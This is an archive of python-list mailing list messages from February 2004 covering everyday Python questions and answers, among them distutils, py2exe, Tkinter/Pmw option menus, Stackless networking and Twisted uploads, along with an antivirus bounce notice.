From: barry at python.org (Barry Warsaw)
Date: Tue, 17 Feb 2004 10:56:04 -0500
Subject: mailing list problems?
In-Reply-To: <20040217093626.GA3162@nl.linux.org>
References: <20040214221839.GA22649@nl.linux.org> <c0o5ht$uvk$1@sea.gmane.org>
	<DE3D72AE-5FF6-11D8-BE5B-000A959CB2EC@netmail.to>
	<200402162153.37084.tim.jarman@lineone.net>
	<20040217093626.GA3162@nl.linux.org>
Message-ID: <1077033364.14770.13.camel@anthem>

On Tue, 2004-02-17 at 04:36, Gerrit wrote:

> I think the news2mail gateway is broken. This e-mail is cc'ed to the
> list-owner and the postmaster, hopefully they are able to fix it.

It appears cron on mail.python.org wasn't running since the 12th.  I
don't know why that is, but I restarted it, and watching the Mailman log
files I can see tons of messages now being gated from the newsgroup to
the mailing list.

-Barry





From jdhunter at ace.bsd.uchicago.edu  Sun Feb  1 13:48:47 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Sun, 01 Feb 2004 12:48:47 -0600
Subject: extra flags to setup.py
Message-ID: <m2n08263g0.fsf@mother.paradise.lost>


I am using distutils to distribute a python package.  I would like
some of the extension module builds to be optional, eg, to be built
only if the user types

  > python setup.py install --with-some-extra-module

But reading over the docs at
http://www.python.org/doc/current/dist/dist.html, I didn't see how to
add and use extra command like flags.

Thanks,
John Hunter



From nir1408 at hotmail.com  Sun Feb 22 13:15:56 2004
From: nir1408 at hotmail.com (Ziaran)
Date: Sun, 22 Feb 2004 20:15:56 +0200
Subject: Where can I post a new debugger?
References: <mailman.160.1077453987.27104.python-list@python.org>
	<c1anu4$9r5$2@news-reader4.wanadoo.fr>
Message-ID: <4038f1fe$1@news.bezeqint.net>

Great!
Thanks.

"Michel Claveau/Hamster" <No.Spam.mc at No.Spam.mclaveau.No.Spam.com> wrote in
message news:c1anu4$9r5$2 at news-reader4.wanadoo.fr...
> Here :
>  http://www.vex.net/parnassus/
>  http://py.vaults.ca/submit/
>
> ?
>
>
>




From mhammond at skippinet.com.au  Mon Feb  9 07:31:11 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Mon, 09 Feb 2004 23:31:11 +1100
Subject: recursivly traversing the windows registry
In-Reply-To: <fc30bff.0402082112.33376cce@posting.google.com>
References: <fc30bff.0402082112.33376cce@posting.google.com>
Message-ID: <c07uim$tq0$2@arachne.labyrinth.net.au>

John Taylor wrote:

> Would someone mind
> looking at my code to see what I am doing wrong?

You might be lucky and find someone with the time, but you may have more 
luck if you can be specific about the kinds of data that is missing, and 
possibly even an example from a 'standard' part of the registry that 
other people are likely to have.  Then reduce the sample to the 5 or so 
lines needed to *just* demonstrate the specific problem (and you may 
even find the problem yourself before you send the post <wink>)

Mark.



From kdahlhaus at yahoo.com  Thu Feb 26 01:52:23 2004
From: kdahlhaus at yahoo.com (Kevin Dahlhausen)
Date: 25 Feb 2004 22:52:23 -0800
Subject: SQLObject ordering
Message-ID: <283adf56.0402252252.6b8aba45@posting.google.com>

As much as I liked Middlekit, SQLObject is my new favorite.  It's just
so clean.  I haven't been able to figure out how to order the results
of a select by an attribute that is another SQLObject (Foreign Key):

class Car:
    manufacturer = ForeignKey("Manufacturer")


class Manufacturer:
    name = StringCol()


I'd like to run a select on Car and have the results return sorted by
Manufacturer name.  Normally, it would just be a matter of passing the
attribute name into the select statement as an orderBy keyword, but
foreign keys work differently.

Does anybody know how to do this?


From aahz at pythoncraft.com  Sun Feb  8 11:58:15 2004
From: aahz at pythoncraft.com (Aahz)
Date: 8 Feb 2004 11:58:15 -0500
Subject: Had Phyton suggested
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
Message-ID: <c05pr7$a0n$1@panix2.panix.com>

In article <4026488d$0$95048$edfadb0f at dread11.news.tele.dk>,
P.C. <per.corell at privat.dk> wrote:
>
>Guess my question is, if it is possible to find a compiler that is fit
>for amatures, one that an amature will not have to fight before it is
>ready to use. One where you ,as when I learned programming , don't need
>to be a compiler specialist before you even learn programming.

Python doesn't use a compiler per se; like Perl, it's an interpreted
language, similar to using a VisualBasic macro in Word (though without
the baggage of Word, of course).  If you're using a Windows computer,
just download a copy of Python from http://www.python.org/

If you've got a Linux box, you probably already have Python available.
Try typing "python" at the shell prompt.

Either way, Python is popular among teenagers, and we've had several on
comp.lang.python, including one from the Netherlands.  I'm assuming
he'll show up soon and offer to talk to your son directly.  ;-)

You'll also want to take a look at
http://www.python.org/topics/learn/non-prog.html
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From dave at pythonapocrypha.com  Thu Feb 26 10:32:48 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Thu, 26 Feb 2004 08:32:48 -0700
Subject: No Thoughts about Everything
References: <403DA7BB.6030009@fh-lausitz.de>
Message-ID: <026701c3fc7d$ca5ba0e0$6401fea9@YODA>

bblochl wrote:
> I found a solution for the simulation of access modifier "static final "
> in python:
>
>
> class Mytest:
>     LOGE_10=(2.302585092994046,)
>     #Klassenkonstante (static final) use a tuple :-)
>     #def __init__(self):
>
>     def log10(self,x):
>         return(log(x)/LOGE_10[0])
>
> testmath=Mytest()
> print "LOGE_10=%10.8f"%Mytest.LOGE_10[0]," and
> log10=%f10.8"%testmath.log10(3)
> Mytest.LOGE_10[0]=1
> #print "LOGE_10=%10.8f"%Mytest.LOGE_10[0]," and
> log10=%f10.8"%testmath.log10(3)

You want constants because you're worried that somebody will reassign the
value, but do you (1) actually expect that that same programmer will remember
to index it and (2) won't reassign a list value? :) Forcing the programmer to
remember to do LOGE_10[0] instead of just LOGE_10 will be a source of way more
bugs.

Nothing is stopping him/her from doing:
    Mytest.LOGE_10 = 5
  or
    Mytest.LOGE_10 = [5]

If you really have to deal with this type of programmer, Python is probably not
a good language to use. I recommend Pascal or something more strict because
Python does little or nothing to protect against ill-intentioned /
undisciplined programmers.

But whatever you choose to do, please please PLEASE don't teach this to your
new Python programmers - it is not how Python programs are written, it makes
the code less readable, and it doesn't solve any real problem (where "real"
means "one that actually occurs in practice").

If it gives you some sense of security, then go ahead and use it in your own
private code, but please don't pass this along to your students as "how you
simulate Java's  'final' modifier in Python" because that's incorrect.

Nice talking to you - have fun!
-Dave




From merkosh at hadiko.de  Sun Feb  8 06:52:59 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Sun, 08 Feb 2004 12:52:59 +0100
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<c03h78$dfc$1@news.service.uci.edu>
	<c03ris$c2t$2@news.rz.uni-karlsruhe.de>
	<c04je2$d66$1@news.service.uci.edu>
Message-ID: <c057uq$4ph$1@news.rz.uni-karlsruhe.de>

Josiah Carlson wrote:
>  From the sounds of your posts, you want your software to be "modular",
> in that you want have one file for each of the different components, but
> you don't want to spend the time to pass down all the proper references.
>   As a result, you want to have a single global namespace for all of
> your modules, so that you don't have to pass anything down.

Almost. I want to write software from components. I want a simple, yet clear
and effective interface for the components to communicate with eachother.
The components will be dynamically loaded. If available they have to fit
like a piece in a puzzle, if ther're unavailable all related functionality
will be unavailable - *not* raise exceptions or cause program abortion,
etc.

I simply cannot pass all components to all others, because I don't yet know
which components there might be.

Having a single global name space is poor software design. It makes you not
having to think about "inter module communication", because there is none
to take care of, because you can call virtually everything from everywhere.
 
> There is another kludge:
[...]
> I would suggest you just put everything into a single file.  500 lines
> is not that large.  Heck, a few thousand isn't even that bad, as long as
> you pay attention to what you are doing and use an editor with a
> browsable source tree/class heirarchy, and comment liberally.

Wow! You can't seriously suggest this as a software design recommendation! 

Importing the complete namespace from one module into another is exactly
what will cause you fourty hours of debugging code afterwards.

Do you think there is a reason why in Java every class got to be put into
one source file - or is this just a bad language restriction?
Don't get me wrong, I'm not critisizing Python here.

Searching the litherature I found the following on how to model interaction
between modules:

- relations between modules should be hierachial, i.e. non-cyclic

problem with circular dependencies: "nothing works until everything works"

benefits of non circular design: 
1. development and testing step by step is possible, 
2. you can build subsets for
   - use in other systems
   - own re-use

*sandwiching*:

cyclic dependencies may be resolved by refining the modular structure:

A <==> B

Suggestion 1:

A1 ==> B ==> A2
A1 ========> A2

Suggestion 2:

A2 ==> B2 ==> A1 ==> B1
A2 =========> A1     B1
       B2 =========> B1

Ciao
Uwe


From dave at pythonapocrypha.com  Tue Feb 24 12:36:19 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 24 Feb 2004 10:36:19 -0700
Subject: xmlprclib/server not reusing connections
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org><nfgqg1-gh4.ln1@home.rogerbinns.com><mailman.24.1077596109.8594.python-list@python.org>
	<tn5rg1-986.ln1@home.rogerbinns.com>
Message-ID: <047901c3fafc$b6ca4e00$6401fea9@YODA>

Roger wrote:
> > You might have better luck with Twisted http://twistedmatrix.com/.
>
> I did look at twisted but really don't like it.  In particular I really
> don't like the event driven code, that has to add callbacks and
> deal with partial state when called.
>
> That is certainly the right way to do things if you want to avoid
> using threads.  It is however complicated and convoluted.  See this
> example:
>
> http://twistedmatrix.com/documents/howto/tutorial#auto20
>
> The model I far prefer is to use multiple threads (available on all
> major Python platforms) and use worker threads with work queues.
> They turn out to be simpler since they don't have queue callbacks
> or effectively be a glorified state machine scattered across
> several functions.

Yes, but the main drawback is of course scalability. But, you can have the best
of both worlds with Stackless Python's tasklets. I few years ago I wrote an
event-based I/O framework for my company using normal Python and it's nice and
fast but programs built on it are ugly (logic split across many callback
functions, state is maintained in an awkward way as a result, etc). Over the
past week or so I've started writing a replacement framework using Stackless
and it's been *so* nice... the applications that use it _look_ like they are
threaded, but you get the performance and scalability of "traditional" asynch
I/O frameworks (the core of the framework still uses a loop to call
select.poll).

Here's one of my test cases, a server that sends back a dummy HTTP response:

def ConnHandler(sock):
    header = sock.Read(4096)
    resp = 'HTTP/1.0 200 Ok\r\nContent-length: 5\r\nContent-type:
text/html\r\n\r\n12345'
    sock.Write(resp)
    sock.Close()

engine = Engine()
s = ListenSocket('127.0.0.1', 7777, ConnHandler)
s.AttachToEngine(engine)
engine.Run()

On a 900MHz P3 Linux box the above server easily handles 2000 requests per
second, which is nice. :)

Although obviously a very trivial example, it's a good enough proof-of-concept
to encourage me to continue. I haven't tested high levels of concurrent
connections yet - but a similar test that sent back larger responses didn't
have any problems serving well over 1000 simultaneous connections, so in the
worse case using Stackless won't have any performance drawbacks compared to
other approaches.

-Dave




From jarrodhroberson at yahoo.com  Sat Feb  7 15:25:23 2004
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
Date: 7 Feb 2004 12:25:23 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<mailman.1246.1076000375.12720.python-list@python.org>
Message-ID: <c718a6cf.0402071225.ea09de6@posting.google.com>

Paul Prescod <paul at prescod.net> wrote in message news:<mailman.1246.1076000375.12720.python-list at python.org>...
> Ben wrote:
> 
> > Hi all!
> > 
> > I learned Python as part of my university coursework... I enjoyed it.
> > Now I'm just wondering how Python compares with asp, jsp, php and what
> > not?? I don't have slightest knowledge about these languages... Are
> > they more advanced than Python? Can Python be integrated with
> > Dreamweaver?
> 
> ASP, JSP and PHP are Web templating languages. You would use them to 
>

Actually PHP can be used as a stand alone general scripting language,
just like Python can. Python is much more powerful though.


From peter at engcorp.com  Thu Feb 12 15:33:19 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 12 Feb 2004 15:33:19 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
	<402B85BE.A73089C5@engcorp.com> <c0gmis$6i4$3@atlantis.news.tpi.pl>
Message-ID: <402BE30F.774FA2DE@engcorp.com>

Jarek Zgoda wrote:
> 
> Peter Hansen <peter at engcorp.com> pisze:
> 
> > Would I be write in guessing that you have used VisualBASIC a lot
> > in the past?  Or perhaps a similar language which allows the type
> > of function call you would expect with the first form above?
> 
> You call Pascal "similar to VB"?

Yes, in at least this once sense, obviously.  Clearly no other similarity
with VB is needed to suffice as a background for someone who makes such
a mistake "commonly", if my theory is correct.

-Peter


From abakhshi at legato.com  Sun Feb 22 12:01:07 2004
From: abakhshi at legato.com (Ajay Bakhshi)
Date: Sun, 22 Feb 2004 09:01:07 -0800
Subject: Pythons Mcmillan Installer : cannot load shared lib
Message-ID: <96F3EC4BDF504540BB9715CBE9DACB8B08743BC1@pa-mail1.legato.com>

Hi,
 
I found the problem.
The shared library was compiled with aCC -AA flag while the Mcmillan
Installer was built with cc -Ae. 
I just changed the Installer so that at the time of creation of the (only
this step) support/run and support/run_d, I use aCC -AA. As a matter of fact
aCC -Aa also works.
 
Thanks
-Ajay B
 
-----Original Message-----
From: Ajay Bakhshi [mailto:abakhshi at legato.com] 
Sent: Friday, February 20, 2004 9:12 AM
To: python-list at python.org
Subject: Pythons Mcmillan Installer : cannot load shared lib
 
Hi,
 
I have Python-2.2.3/
Mcmillian Installer: _5b5_5
System:            HP 11.11   64 bit.
 
Installer + Python were build with 64 bit support (Compiler flag: +DD64)
 
I have a Python file Recover.py that calls "C" functions written in an
extension module. Now these "C" functions (in the shared library) load
another shared library using dlopen. 
 
When I run python Recover.py this works just fine. 
When the same shared library is opened from a "C" executable, that also
works fine.
BUT when I convert Recover.py into an executable (Using Mcmillian Installer:
http://www.mcmillan-inc.com/ <http://www.mcmillan-inc.com/>  - The web site
not working anymore) dlopen gives error.
 
And dlopen gives the following error:
----------------------------------------------------------------------------
-------------------
 Failed to open the library.  Err: './nwsnapmgr//libcl.2' contains a static
TLS refere
nce to '__thread_specific_seg' defined in a dynamically loaded library
'./nwsnapmgr//libcl.
2'. Use +tls=dynamic to re-compile './nwsnapmgr//libcl.2'.
Failed to Load DLL /usr/lib/libssdummy.sl  or Procedure does not exist
----------------------------------------------------------------------------
-------------------
 
 
thanks for any help
-Ajay B
 
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From thenew_ebryant at yahoo.com  Fri Feb 13 23:17:26 2004
From: thenew_ebryant at yahoo.com (Eric)
Date: 13 Feb 2004 20:17:26 -0800
Subject: importing other .py files
Message-ID: <9cb30de6.0402132017.329c4859@posting.google.com>

I created a file called TwoFourNode.py that has two classes, a tree
class and a node class.  in a tester file I want to build my 2-4 tree,
but how do I import the TwoFourNode class?


From bignose-hates-spam at and-benfinney-does-too.id.au  Wed Feb 11 19:30:30 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 12 Feb 2004 11:20:30 +1050
Subject: Executing a file remotely
References: <731fc603.0402111520.717e763c@posting.google.com>
	<slrnc2lf46.16j.bignose-hates-spam@rose.localdomain.fake>
	<102li7mgihijf97@corp.supernews.com>
Message-ID: <slrnc2ljem.16j.bignose-hates-spam@rose.localdomain.fake>

On Thu, 12 Feb 2004 00:29:42 -0000, Cameron Laird wrote:
> I believe soundwave56 is focused on Windows hosts.  There, the correct
> initial answer to, "how would I execute a file remotely?" is, through
> a security breach.

No, the correct answer (on any operating system) is "through a
remote-execution facility".  "Security breach" is dependent on the
security policy in place; remote execution can be a perfectly
permissible operation, or a serious breach of security, depending on
the specific circumstances and what the security policy allows.

> That's a serious answer.  Operating systems are not *supposed* to
> allow "outsiders" to execute processes.

Utter rot.  Operating systems are supposed to do what the person owning
the hardware tells them to do.

Whether "outsiders" are allowed to execute programs on the operating
system is entirely dependent on how you define "outsiders".  Some
operating systems are designed to treat remote users and local users
identically; on such systems, "outsider" is not a function of "remote or
local", but rather "permitted or not permitted".

On other operating systems, multiple-user and networking is a bolt-on
afterthought, and an unnecessary line is drawn between local and remote
users.  The availability of smooth, simple remote-execution facilities
on such operating systems will likely be poor.

-- 
 \       "When a well-packaged web of lies has been sold to the masses |
  `\    over generations, the truth will seem utterly preposterous and |
_o__)                 its speaker a raving lunatic."  -- Dresden James |
Ben Finney <http://bignose.squidly.org/>


From stewart at midtoad.homelinux.org  Wed Feb 25 19:53:05 2004
From: stewart at midtoad.homelinux.org (Stewart Midwinter)
Date: Wed, 25 Feb 2004 17:53:05 -0700
Subject: Tkinter/Pmw: code snippet for newbies: linked OptionMenus
Message-ID: <1077756785.403d4371e3981@midtoad.homelinux.org>

I needed to have linked OptionMenus for an app I'm developing: a selection in
the first OptionMenu causes the list in the second OptionMenu to be updated, and
similarly for the third.  I got most of the solution myself, but the help of
Eric Brunel and Peter Otten was invaluable in solving the final problem.  Here's
my contribution of a completed solution. Enjoy!

Note: this script requires installation of the Pmw widget-set in addition to
Tkinter. 

Exercise for the reader: convert this code to work on linked picklists, or
linked radiobutton widgets.

---
#file linkedOptionMenus.py
#Stewart Midwinter, stewart 'at' midwinter 'dot' ca
#use and enjoy!

title = 'linked OptionMenus'

# Import Pmw from this directory tree.
import sys
sys.path[:0] = ['../../..']

import Tkinter
import Pmw, re

global continentList, countryList, stateList

continentList = ['N.America','C. America', 'S. America']
countryList   = {'N.America':['Canada','USA','Mexico'],
		 'C. America':['Guatemala','Nicaragua','Panama'],
		 'S. America':['Venezuela','Colombia','Ecuador']
		 }
stateList     =
{'Canada':['BC','Alberta','Saskatchewan','Manitoba','Ontario','Quebec',
                    'New Brunswick','Nova Scotia','Prince Edward
Island','Newfoundland',
                    'Nunavut','Northwest Territory'],
		 'USA':['California','Oregon','Washington','others'],
		 'Mexico':['Aguascalientes', 'Baja California', 'Baja California Sur', 
                     'Campeche', 'Chiapas', 'Chihuahua', 'Coahuila de Zaragoza',
'Colima', 
                     'Distrito Federal', 'Durango', 'Guanajuato', 'Guerrero',
'Hidalgo', 
                     'Jalisco', 'Mexico', 'Michoacan de Ocampo', 'Morelos',
'Nayarit', 
                     'Nuevo Leon', 'Oaxaca', 'Puebla', 'Queretaro de Arteaga',
'Quintana Roo', 
                     'San Luis Potosi', 'Sinaloa', 'Sonora', 'Tabasco',
'Tamaulipas', 'Tlaxcala', 
                     'Veracruz-Llave', 'Yucatan', 'Zacatecas'],
		 'Guatemala':['Alta Verapaz', 'Baja Verapaz', 'Chimaltenango', 
                     'Chiquimula', 'El Progreso', 'Escuintla', 'Guatemala', 
                     'Huehuetenango', 'Izabal', 'Jalapa', 'Jutiapa', 'Peten', 
                     'Quetzaltenango', 'Quiche', 'Retalhuleu', 'Sacatepequez', 
                     'San Marcos', 'Santa Rosa', 'Solola', 'Suchitepequez', 
                     'Totonicapan', 'Zacapa'],
		 'Nicaragua':['Boaco', 'Carazo', 'Chinandega', 'Chontales', 'Esteli', 'Granada', 
                     'Jinotega', 'Leon', 'Madriz', 'Managua', 'Masaya',
'Matagalpa', 'Nueva Segovia', 
                     'Rio San Juan', 'Rivas', 'Atlantico Norte*', 'Atlantico Sur*'],
		 'Panama':['Bocas del Toro', 'Chiriqui', 'Cocle', 'Colon', 'Darien', 
                     'Herrera', 'Los Santos', 'Panama', 'San Blas*', 'Veraguas'],
		 'Venezuela':['Amazonas', 'Anzoategui', 'Apure', 'Aragua', 'Barinas', 'Bolivar', 
                     'Carabobo', 'Cojedes', 'Delta Amacuro', 'Falcon',
'Guarico', 'Lara', 'Merida', 
                     'Miranda', 'Monagas', 'Nueva Esparta', 'Portuguesa', 'Sucre', 
                     'Tachira', 'Trujillo', 'Vargas', 'Yaracuy', 'Zulia'],
		 'Colombia':['Amazonas', 'Antioquia', 'Arauca', 'Atlantico', 
                     'Bolivar', 'Boyaca', 'Caldas', 'Caqueta', 'Casanare', 
                     'Cauca', 'Cesar', 'Choco', 'Cordoba', 'Cundinamarca', 
                     'Guainia', 'Guaviare', 'Huila', 'La Guajira', 'Magdalena', 
                     'Meta', 'Narino', 'Norte de Santander', 'Putumayo', 'Quindio', 
                     'Risaralda', 'San Andres y Providencia', 
                     'Distrito Capital de Santa Fe de Bogota', 'Santander', 
                     'Sucre', 'Tolima', 'Valle del Cauca', 'Vaupes', 'Vichada'],
		 'Ecuador':['Ecuador states']
		 }

# default selection
continentItem = continentList[0]
countryItem = countryList[continentItem][0]
stateItem = stateList[countryItem][0]

class selectSystem:
    def __init__(self, parent):
	# Create and pack the OptionMenu megawidgets.
	# The first one has a textvariable.
	self.varContinent = Tkinter.StringVar()
	self.varCountry = Tkinter.StringVar()
	self.varState = Tkinter.StringVar()
	self.varContinent.set(continentItem)	# N. America
	self.varCountry.set(countryItem)	# Canada
	self.varState.set(stateItem)	# B.C.

	self.continent_menu = Pmw.OptionMenu(parent,
		labelpos = 'w',
		label_text = 'Select Continent:',
		menubutton_textvariable = self.varContinent,
		items = continentList,
		menubutton_width = 20,
		menubutton_direction = 'flush',
		command = self._selectContinent
	)
	self.continent_menu.pack(anchor = 'w', padx = 10, pady = 10)

	self.country_menu = Pmw.OptionMenu (parent,
		labelpos = 'w',
		label_text = 'Select country:',
		menubutton_textvariable = self.varCountry,
		items = countryList['N.America'],
		menubutton_width = 20,
		menubutton_direction = 'flush',
		command = self._selectCountry
	)
	self.country_menu.pack(anchor = 'w', padx = 10, pady = 10)

	self.state_menu = Pmw.OptionMenu (parent,
		labelpos = 'w',
		label_text = 'Select state:',
		menubutton_textvariable = self.varState,
		items = stateList['Canada'],
		menubutton_width = 20,
		menubutton_direction = 'flush' ,
		command = self._getSelection
	)
	self.state_menu.pack(anchor = 'w', padx = 10, pady = 10)

	menus = (self.continent_menu, self.country_menu, self.state_menu)
	Pmw.alignlabels(menus)

	# Create the dialog.
	self.dialog = Pmw.Dialog(parent,
	    buttons = ('OK', 'Apply', 'Cancel', 'Help'),
	    defaultbutton = 'OK',
	    title = 'Select State',
	    command = self.execute)
	self.dialog.withdraw()

	# Add some contents to the dialog.
	w = Tkinter.Label(self.dialog.interior(),
	    text = 'Pmw Dialog\n(put your widgets here)',
	    background = 'black',
	    foreground = 'white',
	    pady = 20)
	w.pack(expand = 1, fill = 'both', padx = 4, pady = 4)

    def showAppModal(self):
        self.dialog.activate(geometry = 'centerscreenalways')

    def execute(self, result):
	print 'You clicked on', result
	if result not in ('Apply', 'Help'):
	    self.dialog.deactivate(result)

    def _getSelection(self, choice):
	# Can use 'self.var.get()' instead of 'getcurselection()'.
	print 'You have chosen %s : %s : %s' % \
            (self.varContinent.get(), 
	     self.varCountry.get(), 
	     self.varState.get() )
	print choice  # debug

    def _selectContinent(self, choice):
	## Set appropriate list of countries
	countries = countryList[self.varContinent.get()]
	self.country_menu.setitems(countries)
	## If currently selected country is not in new list, select first valid one
	if not self.varCountry.get() in countries:
		self.varCountry.set(countries[0])
	## Set appropriate list of states
	states = stateList[self.varCountry.get()]
	self.state_menu.setitems(states)
	## If currently selected state is not in list, select first valid one
	if not self.varState.get() in states:
		self.varState.set(states[0])

    def _selectCountry(self, choice):
	## Set appropriate list of states
	states = stateList[self.varCountry.get()]
	self.state_menu.setitems(states)
	## If currently selected state is not in list, select first valid one
	if not self.varState.get() in states:
		self.varState.set(states[0])


    def __call__(self):
	self.dialog.show()

def indexContinent(name):
	found = 'false'
	for i in range(len(continentList)):
		check = continentList[i]
		# print 'checking %s in %s' % (name, check)  # debug
		if re.search(name,check):
			found = 'true'
			break
	print found
	if (found=='true'):
		#print 'index of %s is %s' % (name,i)  # debug
		return i
	else:
		return -1

def indexCountry(continentindex, name):
	found = 'false'
	for i in range(len(countryList[continentindex])):
		check = countryList[continentindex][i]
		# print 'checking %s in %s' % (name, check)  # debug
		if re.search(name,check):
			found = 'true'
			break
	print found
	if (found=='true'):
		#print 'index of %s is %s' % (name,i)  # debug
		return i
	else:
		return -1


######################################################################

# Create selectSystem in root window for testing.
if __name__ == '__main__':
    root = Tkinter.Tk()
    Pmw.initialise(root)
    root.title(title)

    OKButton = Tkinter.Button(root, text = 'OK', command = root.destroy)
    OKButton.pack(side = 'bottom')

    widget = selectSystem(root)
    root.mainloop()


-- 
Stewart Midwinter
Calgary, Alberta
stewart 'at' midwinter 'dot' ca







From salvatore at nolog.org  Fri Feb 20 16:59:56 2004
From: salvatore at nolog.org (Salvatore)
Date: Fri, 20 Feb 2004 22:59:56 +0100
Subject: Windows Service
Message-ID: <c1600h$74i$1@news-reader3.wanadoo.fr>

Hello,

I would like to create Windows Services from python scripts, how can I 
find documentation about that ?

Thanks

Regards Salvatore

http://artyprog.freezope.org/Forum/Python



From fake at not-a-real-address.net  Tue Feb 24 12:44:33 2004
From: fake at not-a-real-address.net (Bruce Wolk)
Date: Tue, 24 Feb 2004 17:44:33 GMT
Subject: Numarray install problem
Message-ID: <54M_b.2108$qf4.1090@newssvr27.news.prodigy.com>

I have a working installation of python 2.3.1:

[bruce at pogo bruce]$ python2.3
Python 2.3.1 (#1, Sep 23 2003, 10:07:41)
[GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
 >>>


When I try to install Numarray (python2.3 setup.py install) I get the 
following error:

error: invalid Python installation: unable to open 
/usr/lib/python2.3/config/Makefile (No such file or directory)

In fact, there is no config subdirectory of python2.3.  Should there be?

Bruce



From aaron at metrony.com  Thu Feb 19 22:08:48 2004
From: aaron at metrony.com (Aaron)
Date: Fri, 20 Feb 2004 03:08:48 GMT
Subject: py2exe problem - need wsvc6?
In-Reply-To: <fc96c968.0402191803.62f9465a@posting.google.com>
References: <fc96c968.0402191803.62f9465a@posting.google.com>
Message-ID: <40357A45.7060106@metrony.com>

You do not need a C compiler to make a standalone application.
In version 0.5 the setup.py files changed a bit.

First of all can you run your python script on the commandline?

I have a hello world app as follows:

#pTest.py
print "Hello World"

#setup.py
from distutils.core import setup
import py2exe
setup(name='Test',
       description="a Test",
       version='0.1.0',
       console=['pTest.py'])


#build.bat
e:\Python23\python.exe setup.py py2exe

Try to build this app and see if your py2exe is setup correctly.

-Aaron
http://metrony.com

Tim Axtelle wrote:

> I am new to Python and am trying to create a standalone exe from a
> python script using py2exe 0.5.0 and Python 2.3 without success.  I am
> able to generate the appropriate .exe file but it is not executable. 
> Running it does absolutely nothing.
> 
> The sourceforge site says that wsvc6 is required for py2exe.  Is this
> true?  If so, it is contradiction with the python faq which claims
> that no C compiler is necessary with py2exe.
> 
> I also tried Gordon Mcmillan's installer which I found completely
> incomprehensible despite the prodigous "easy to use" claims.
> 
> Please help this obviously flustered newbie.  Thanks in advance.


From jdhunter at ace.bsd.uchicago.edu  Tue Feb  3 11:50:22 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Tue, 03 Feb 2004 10:50:22 -0600
Subject: GD/gdmodule on Win XP
In-Reply-To: <61819.200.90.172.177.1075815606.squirrel@www.navix.cl> ("Eduardo
	Elgueta"'s message of "Tue, 3 Feb 2004 10:40:06 -0300 (CLST)")
References: <3b3f63ed.0402021435.1937f119@posting.google.com>
	<m24qu95al6.fsf@mother.paradise.lost>
	<61819.200.90.172.177.1075815606.squirrel@www.navix.cl>
Message-ID: <m2isiods4x.fsf@mother.paradise.lost>

>>>>> "Eduardo" == Eduardo Elgueta <eelgueta at navix.cl> writes:

    Eduardo> John, Thank you very much for such a complete answer.

    Eduardo> I'll try it and let you now if I succeed building the
    Eduardo> patched gdmodule.

That would be great.  In the mean time, I have two more pieces of
advice

There is a strange bug that Stefan discovered when saving some images
on win32.  You need to change the line in
matplotlib.backends.backend_gd.print_figure  from

        im.writePng( file(filename, 'wb') )
to 
        im.writePng( filename )

Also, if you need windows installers for fonttools, I built them last
night for python2.2 and python2.3.  Let me know and I'll send you one.

I'd like to add a section 'building GD on win32' to the website, so
let me know if you have anything to add to that.

JDH




From JCornett at VUSD.SolanoCOE.K12.CA.US  Tue Feb 10 10:00:53 2004
From: JCornett at VUSD.SolanoCOE.K12.CA.US (John Cornett - WCW)
Date: Tue, 10 Feb 2004 07:00:53 -0800
Subject: Virus Found in message "ERROR"
Message-ID: <3FFFF35634F256428D366B00E51B35D6674D55@WCWSRV2>

Norton AntiVirus found a virus in an attachment you (python-list at python.org
<python-list at python.org>) sent to John Cornett - WCW.

To ensure the recipient(s) are able to use the files you sent, perform a
virus scan on your computer, clean any infected files, then resend this
attachment.


Attachment:  readme.zip
Virus name: W32.Mydoom.A at mm
Action taken:  Clean failed : Delete succeeded : 
File status:  Deleted


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/ms-tnef
Size: 1631 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040210/08474f75/attachment.bin>

From fuka at fuxoft.cz  Mon Feb 16 16:55:21 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Mon, 16 Feb 2004 22:55:21 +0100
Subject: [Twisted] how to find out filenames of uploaded files?
In-Reply-To: <4030D28F.A91297DD@engcorp.com>
References: <c0kr2g$9uo$1@ns.felk.cvut.cz> <4030D28F.A91297DD@engcorp.com>
Message-ID: <c0re70$24sd$1@ns.felk.cvut.cz>

Peter Hansen wrote:
> Frantisek Fuka wrote:
> 
>>When I upload files using HTML form, i can get the contents of these
>>files from request.args. But how do I find out the filenames under which
>>the files were uploaded?
> 
> 
> Is this information even provided by the client?  I would have thought
> that the client sent only the data and the name of the form field to
> which it belongs.
> 
> I haven't checked the HTTP/HTML standards though... have you?

Yes, it's definitely provided by the client. I am using PHP application 
which does just this. It's also rather well documented in HTML 4.1 
specifications on w3.org (in the FORMs section).

In the meantime, I contacted the person who wrote the Twisted http 
module and he told me that it's not working very well in the current 
implementation and it should be fixed in March.

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From lcalzada1 at earthlink.net  Tue Feb  3 07:26:46 2004
